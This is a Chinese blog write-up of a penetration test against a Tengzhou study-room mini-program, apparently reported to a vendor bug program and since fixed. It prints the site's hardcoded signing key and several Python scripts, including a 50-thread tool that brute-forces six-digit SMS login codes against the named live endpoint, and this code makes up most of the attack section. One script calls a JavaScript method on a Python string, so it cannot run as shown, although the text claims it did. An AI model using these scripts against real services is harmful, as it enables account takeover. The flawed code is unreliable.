记一次对滕州某自习室系统的渗透测试

最近偶然情况下接触了一个自习室小程序，自觉告诉我有搞头，于是打算看看有没有漏洞直接交SRC了

开始挖洞

反编译小程序

这里我用的是wxapkg
在微信设置中打开微信文件的储存路径，接着打开Applet文件夹，复制当前路径


cmd执行 wxapkg_1.5.0_windows_amd64.exe scan 复制的路径
然后使用键盘的上下键选择需要反编译的小程序，接着按回车

这里有个小技巧，如果有的小程序没有显示Name的话，可以在执行命令之前将Applet文件夹内所有文件删除，然后在微信电脑端打开需要反编译的小程序，耐心等待加载完毕，接着Applet会出现一个新文件夹，新文件夹的文件名就是小程序的wxid，可以通过对比wxid来确定哪个是目标小程序

提取链接

反编译小程序之后，会在wxapkg出现以小程序wxid为名的文件夹


我直接用Python写了一个脚本，用来提取当前文件夹内所有文件中包含的URL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import os
import re

def extract_urls_from_file(file_path):
    # Define a regular expression pattern for matching URLs
    url_pattern = re.compile(r'((https?|ftp)://[^\s/$.?#].[^\s]*)|www\.[^\s]+|[a-zA-Z0-9-]+\.[a-zA-Z]{2,}(/[^\s]*)?')
    urls = []
    try:
        with open(file_path, 'r', encoding='utf-8') as file:
            for line in file:
                # Find all URLs in the line
                found_urls = url_pattern.findall(line)
                for url in found_urls:
                    # Combine all groups into a single non-empty string
                    combined_url = ''.join(filter(None, url))
                    if combined_url:
                        urls.append(combined_url)
    except Exception as e:
        print(f"Error reading file {file_path}: {e}")
    return urls

def find_urls_in_directory(directory):
    all_urls = []
    for root, _, files in os.walk(directory):
        for file in files:
            file_path = os.path.join(root, file)
            urls = extract_urls_from_file(file_path)
            all_urls.extend(urls)
    return all_urls

if __name__ == "__main__":
    current_directory = os.getcwd()
    urls = find_urls_in_directory(current_directory)
    for url in urls:
        print(url)

PYTHON


这里一共发现了两个疑似URL
分别是https://m.ibuole.com和https://m.ubuole.com“

通过访问得知两个网站内容几乎一样，但是在小程序中 ibuole.com 出现的频率远比另一个高，于是选中这个作为目标域名

子域收集

这里我使用OneForAll
python oneforall.py --target ibuole.com run


至于高级使用教程就不过多说明，不熟悉的可以去看项目主页的README

Bad News，只发现了一个有价值的子域，title是商户管理系统

试试吧

开始打点

打开我们最爱的BurpSuite，勾上xiaSQL，先乱点一通试试


可惜了，没发现什么注入点
Wappalyzer也只有一个PHP算是有效信息

注册了一个账号，后台也没什么功能

试一下上传头像的功能点


直接上传失败，推测是有白名单

尝试使用bp抓包修改绕过白名单



哦豁，上传成功了 访问一下试试

结果悲剧了，是static，子站绑定的阿里云oss，不解析

转折

又绕了一圈发现没什么转机，js也没有api泄露之类的，刚打算放弃这个站，结果转折来了

吃过午饭之后系统自动退出了，然后我也是各种巧合所以没输密码直接用的验证码登录
突然我发现，这次的验证码跟我半小时前注册的验证码一模一样，接着又是一通瞎点，碰巧的是我又发现只有账号密码页的登录按钮和发送验证码按钮需要通过极验，如果直接点手机验证码页的登录按钮则不需要通过极验

说干就干，先简单抓个包研究一下


一目了然，username是手机号，sms_code是输入的验证码，timestamp大概率是当前时间戳，nonce推测是随机的，sign是MD5

丢Repeater修改一下看看能不能绕过sign验证
结果试了几种绕过姿势都不行，并且sign是唯一不重复的，推测应该又是老套的参数排列加key然后生成MD5

分析JS代码

被逼上梁山了，现在只有这个一个办法了，只能硬着头皮扒JS


果然，又是加密了
强推一个在线格式化JS的网站https://www.qianbo.com.cn/Tool/Beautify/Js-Formatter.html
开始头脑风暴

以下是关键代码 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function h() {
          return (h = Object(s.a)(regeneratorRuntime.mark((function e(t, n) {
            var s, i, o, r, c, u, l, p;
            return regeneratorRuntime.wrap((function (e) {
              for (; ;) switch (e.prev = e.next) {
                case 0:
                  return s = Object.assign({}, t, {
                    timestamp: "",
                    nonce: "",
                    sign: ""
                  }), n && (t = a.a.stringify(t), i = {}, t && t.split("&")
                    .forEach((function (e) {
                      i[decodeURIComponent(e.split("=")[0])] = decodeURIComponent(e.split("=")[1])
                    })), t = i), t = Object.assign({}, t, {
                      timestamp: "",
                      nonce: "",
                      sign: ""
                    }), o = "b949f0da9c3d2da48c63c82e37f40230", e.next = 6,
                    function () {
                      return f.apply(this, arguments)
                    }();
                case 6:
                  for (u in p = e.sent, r = Math.floor((Math.random() + Math.floor(9 * Math.random() + 1)) * Math.pow(10, 19))
                    .toString(), s.timestamp = p, s.nonce = r, t.timestamp = p, t.nonce = r, c = [], t) "sign" !== u && void 0 !== t[u] && "" !== t[u] && null !== t[u] && (l = t[u], "object" === Object(d.a)(t[u]) && (l = JSON.stringify(t[u])), c.push(u + "=" + l));
                  return c.sort(), p = c.join("&"), p += "&" + o, s.sign = m()(p)
                    .toString()
                    .toUpperCase(), e.abrupt("return", s);
                case 19:
                case "end":
                  return e.stop()
              }
            }), e)
          }))))
            .apply(this, arguments)
        }
JAVASCRIPT

详细分析一下
h 是一个异步函数，它使用 regeneratorRuntime 处理异步生成器。最终，函数返回一个包含 timestamp、nonce 和 sign 参数的对象

s 是一个包含 timestamp、nonce 和 sign 的空对象，并且使用 Object.assign 将传入的参数 t 合并到 s 中
如果 n 存在（通常代表请求类型或其他标志），会对 t 进行序列化处理，然后解析回对象 

1
2
3
4
5
6
7
8
9
10
11
12
13
s = Object.assign({}, t, {
    timestamp: "",
    nonce: "",
    sign: ""
});
if (n) {
    t = a.a.stringify(t);  // 序列化参数
    i = {};
    t && t.split("&").forEach(function(e) {
        i[decodeURIComponent(e.split("=")[0])] = decodeURIComponent(e.split("=")[1]);
    });
    t = i;
}
JAVASCRIPT

o 是一个是一个key
通过一个异步函数 f 获取当前时间戳 p 

1
2
3
4
o = "b949f0da9c3d2da48c63c82e37f40230";
p = await function() {
    return f.apply(this, arguments);
}();
JAVASCRIPT

r 是一个随机生成的 19 位数，用于 nonce

1
r = Math.floor((Math.random() + Math.floor(9 * Math.random() + 1)) * Math.pow(10, 19)).toString();
JAVASCRIPT

将时间戳 p 和随机数 r 分别填充到 s 和 t 对象中

1
2
3
4
s.timestamp = p;
s.nonce = r;
t.timestamp = p;
t.nonce = r;
JAVASCRIPT

遍历 t 对象，将所有不为空的键值对加入数组 c 中
对数组 c 进行排序，然后用 & 连接成字符串 p
在字符串 p 末尾添加常量字符串 o，然后生成签名 sign 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
c = [];
for (u in t) {
    if ("sign" !== u && void 0 !== t[u] && "" !== t[u] && null !== t[u]) {
        l = t[u];
        if ("object" === Object(d.a)(t[u])) {
            l = JSON.stringify(t[u]);
        }
        c.push(u + "=" + l);
    }
}
c.sort();
p = c.join("&");
p += "&" + o;
s.sign = m()(p).toString().toUpperCase();
JAVASCRIPT

尝试用Python实现一下 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import hashlib

# 给定参数
timestamp = "1721284325"
nonce = "38543158307483270000"
param1 = "134XXXXXXXX"  # 手机号
param2 = "112233"  # 验证码
fixed_string = "b949f0da9c3d2da48c63c82e37f40230"

# 参数列表
params = {
    "username": param1,
    "sms_code": param2,
    "timestamp": timestamp,
    "nonce": nonce
}

# 排序参数
sorted_params = sorted(params.items())

# 拼接参数字符串
param_str = "&".join(f"{k}={v}" for k, v in sorted_params) + "&" + fixed_string

# 生成 MD5 哈希值
md5_hash = hashlib.md5(param_str.encode('utf-8')).hexdigest().upper()

print("Sign:", md5_hash)
PYTHON

很好，输出的 Sign 跟抓到的请求包中的 Sign 一样

模拟登录

这里还有一个波折
原本我以为timestamp是运行时的时间戳，然而这样的话测试发包后请求包会提示{“code”:400403,”message”:”数据校验失败(1002)”}

又翻了一遍js，然后我发现了另一个函数 i 

1
2
3
4
5
6
7
function i() {
          return Object(s.a)({
            url: "/timestamp",
            method: "post",
            data: {}
          })
        }
JAVASCRIPT

这个函数很好理解，就是给/timestamp发送一个无参数的post，解析返回包的json的value的值得到timestamp

开始用Python实现 sms_code是一个从000000到999999的六位纯数字序列，并且检查返回包，如果返回包包括“短信验证码错误”则登录失败，如果不包括则登陆成功，显示进度并保存到txt中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import requests
import hashlib
import random
import json
import time

# 获取 timestamp 值
timestamp_response = requests.post('https://m.ibuole.com/timestamp')
timestamp = timestamp_response.json()['value']

# 生成 nonce
nonce = str(random.randint(1, 9)) + str(random.randint(1, 10**19))

username = '134XXXXXXXX'
fixed_string = "b949f0da9c3d2da48c63c82e37f40230"

# 登录 URL 和 headers
login_url = "https://m.ibuole.com/user/api/login/login_check"
headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "Accept": "application/json, text/plain, */*",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.9"
}

# 日志文件
log_file = "login_attempts.log"

# 记录开始时间
start_time = time.time()

# 循环遍历所有可能的 sms_code
for sms_code in range(1000000):
    # 格式化 sms_code
    sms_code_str = f"{sms_code:06d}"

    # 参数列表
    params = {
        "username": username,
        "sms_code": sms_code_str,
        "timestamp": timestamp,
        "nonce": nonce
    }

    # 排序参数
    sorted_params = sorted(params.items())

    # 拼接参数字符串
    param_str = "&".join(f"{k}={v}" for k, v in sorted_params) + "&" + fixed_string

    # 生成 MD5 哈希值
    sign = hashlib.md5(param_str.encode('utf-8')).hexdigest().toUpperCase()

    # 添加 sign 到参数中
    params["sign"] = sign

    # 发送登录请求
    response = requests.post(login_url, headers=headers, data=params)
    
    # 检查返回包
    if "短信验证码错误" not in response.text:
        # 登陆成功，记录成功信息并退出循环
        with open(log_file, "a") as file:
            file.write(f"Login successful with sms_code {sms_code_str}\n")
        print(f"Login successful with sms_code {sms_code_str}")
        break
    else:
        # 登陆失败，记录失败信息
        with open(log_file, "a") as file:
            file.write(f"Login failed with sms_code {sms_code_str}\n")
        print(f"Login failed with sms_code {sms_code_str}")
    
    # 实时显示进度
    progress = (sms_code + 1) / 1000000 * 100
    elapsed_time = time.time() - start_time
    print(f"Progress: {progress:.2f}% - Elapsed time: {elapsed_time:.2f}s")

print("Completed.")
PYTHON

运行成功

进一步完善

上面的代码运行了一个多小时，才跑了十分之一左右
我决定赌一把，不用000000到999999的序列，直接生成所有六位数的随机序列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import itertools
import random

# 生成所有六位数字的列表
all_codes = [''.join(code) for code in itertools.product('0123456789', repeat=6)]

# 随机打乱顺序
random.shuffle(all_codes)

# 将结果写入文件
with open('all_six_digit_codes.txt', 'w') as file:
    for code in all_codes:
        file.write(code + '\n')

print(f"Save to all_six_digit_codes.txt")
PYTHON

然后修改代码，为了加快运行速度，现在需要注意的问题基本是

  1. 每条被验证过的验证码都从 all_six_digit_codes.txt 删除，防止误退出程序下次运行还要重新开始
  2. 将 all_six_digit_codes.txt 中的验证码存储为集合，而不是列表。集合可以提供平均 O(1) 的时间复杂度来进行成员检查和删除操作
  3. 使用多线程加快运行速度
  4. 在每个线程中尽可能减少 IO 操作，使用内存中的队列来存储和获取验证码
  5. 使用 Lock 避免出现同时写入导致的问题

以下是修改后的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
import requests
import hashlib
import random
import threading
import queue
import os
import time


username = '134XXXXXXXX'
fixed_string = "b949f0da9c3d2da48c63c82e37f40230"

# 登录 URL 和 headers
login_url = "https://m.ibuole.com/user/api/login/login_check"
headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "Accept": "application/json, text/plain, */*",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.9"
}

# 日志文件
log_file = "login_attempts.log"

# 文件名
file_name = "all_six_digit_numbers.txt"

# lock用于多线程操作文件
lock = threading.Lock()

# 记录开始时间
start_time = time.time()

# 验证码队列
sms_code_queue = queue.Queue()

# 读取文件中的所有验证码到队列
def read_sms_codes_to_queue():
    with open(file_name, 'r') as f:
        for line in f:
            sms_code_queue.put(line.strip())

# 发送登录请求并验证
def login_attempt():
    global username, fixed_string, login_url, headers, log_file, start_time

    while True:
        try:
            # 从队列中取出一个验证码
            sms_code_str = sms_code_queue.get(timeout=1)
        except queue.Empty:
            # 队列为空，退出线程
            break

        # 获取 timestamp 值
        timestamp_response = requests.post('https://m.ibuole.com/timestamp')
        timestamp = timestamp_response.json()['value']

        # 生成 nonce
        nonce = str(random.randint(1, 9)) + str(random.randint(1, 10 ** 19))

        params = {
            "username": username,
            "sms_code": sms_code_str,
            "timestamp": timestamp,
            "nonce": nonce
        }

        sorted_params = sorted(params.items())
        param_str = "&".join(f"{k}={v}" for k, v in sorted_params) + "&" + fixed_string

        # 生成 MD5 哈希
        sign = hashlib.md5(param_str.encode('utf-8')).hexdigest().upper()
        params["sign"] = sign

        response = requests.post(login_url, headers=headers, data=params)
        #print(response.text)
        # 检查返回包
        if "短信验证码错误" not in response.text:
            # 登陆成功，记录成功信息
            with open(log_file, "a") as file:
                file.write(f"Login successful with sms_code {sms_code_str,response.text}\n")
            print(f"Login successful with sms_code {sms_code_str}")


        else:
            # 登陆失败，记录失败信息
            with open(log_file, "a") as file:
                file.write(f"Login failed with sms_code {sms_code_str}\n")
            print(f"Login failed with sms_code {sms_code_str}")

        # 实时显示进度
        with lock:
            progress = (sms_code_queue.qsize() / 1000000) * 100
            elapsed_time = time.time() - start_time
            print(f"Progress: {progress:.2f}% - Elapsed time: {elapsed_time:.2f}s")

        # 告诉队列任务完成
        sms_code_queue.task_done()

# 主程序
def main():
    # 读取文件中的所有验证码到队列
    read_sms_codes_to_queue()

    # 设置线程数为50
    num_threads = 50

    # 使用多线程进行验证
    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=login_attempt)
        threads.append(thread)
        thread.start()

    # 等待所有线程完成
    for thread in threads:
        thread.join()

    print("Login attempts completed.")


if __name__ == "__main__":
    main()
PYTHON

成功登录

经过了漫长的等待，终于看到了successful
这是日志的部分输出（关键信息用X代替）

Login successful with sms_code (‘094178’, ‘{“code”:0,”message”:null,”value”:{“id”:XXXXXX,”nickname”:”XXX”,”verifiedMobile”:”185****XXXX”,”roles”:[“ROLE_USER”],”smallAvatar”:”https://static001.ibuole.com/XXXX/XX/XX/XXXXXXXXXXX-qal80g.png","mediumAvatar":"https://static001.ibuole.com/XXXX/XX/XX/XXXXXXXXXXXXX-qal80g.png","largeAvatar":"https://static001.ibuole.com/XXXX/XX/XX/XXXXXXXXXXXXX-qal80g.png","newChatNum":0,"newNotificationNum":0,"createdIp":"","createdTime":XXXXXXXXXX,"updatedTime":XXXXXXXXXX,"gender":"male","truename":"","birthday":0,"province":"","city":"","county":"","areaCode":"","address":"","isBindWexin":0,"isSubscribeMp":0,"bindings":[]}}‘)

直接打包提交SRC，累死了

后记

截至目前为止，该漏洞已修复。

漏洞
#Python #渗透 #JavaScript #小程序
记一次对滕州某自习室系统的渗透测试
http://blog.luckysix.cc/2024/07/16/记一次对滕州某自习室系统的渗透测试/
作者
Thanatos
发布于
2024年7月16日
许可协议